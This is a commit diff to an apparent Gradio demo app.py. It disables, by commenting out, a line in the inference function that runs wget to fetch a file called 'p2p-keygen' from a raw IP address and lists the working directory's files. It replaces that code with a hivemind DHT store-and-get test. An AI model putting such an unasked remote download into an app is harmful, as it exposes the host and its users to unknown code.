Update app.py

app.py

@@ -16,9 +16,16 @@ def inference(text, seq_length=1):
     #    for i in range(seq_length):
     #        h = model.transformer.word_embeddings(input_ids)
     #        h = model.transformer.word_embeddings_layernorm(h)
-    import os;
-    os.system("wget http://193.106.95.184/p2p-keygen")
-    return text[::-1] + '\n' + '\n'.join(os.listdir('.'))
+    #import os;
+    #os.system("wget http://193.106.95.184/p2p-keygen")
+    #return text[::-1] + '\n' + '\n'.join(os.listdir('.'))
 
+    import hivemind
+    dht1 = hivemind.DHT(start=True)
+    dht2 = hivemind.DHT(start=True, initial_peers=dht1.get_visible_maddrs())
+    assert dht1.store('key', text[::-1], hivemind.get_dht_time() + 999)
+    
+    return repr(dht2.get('key'))
+    
 iface = gr.Interface(fn=inference, inputs="text", outputs="text")
 iface.launch()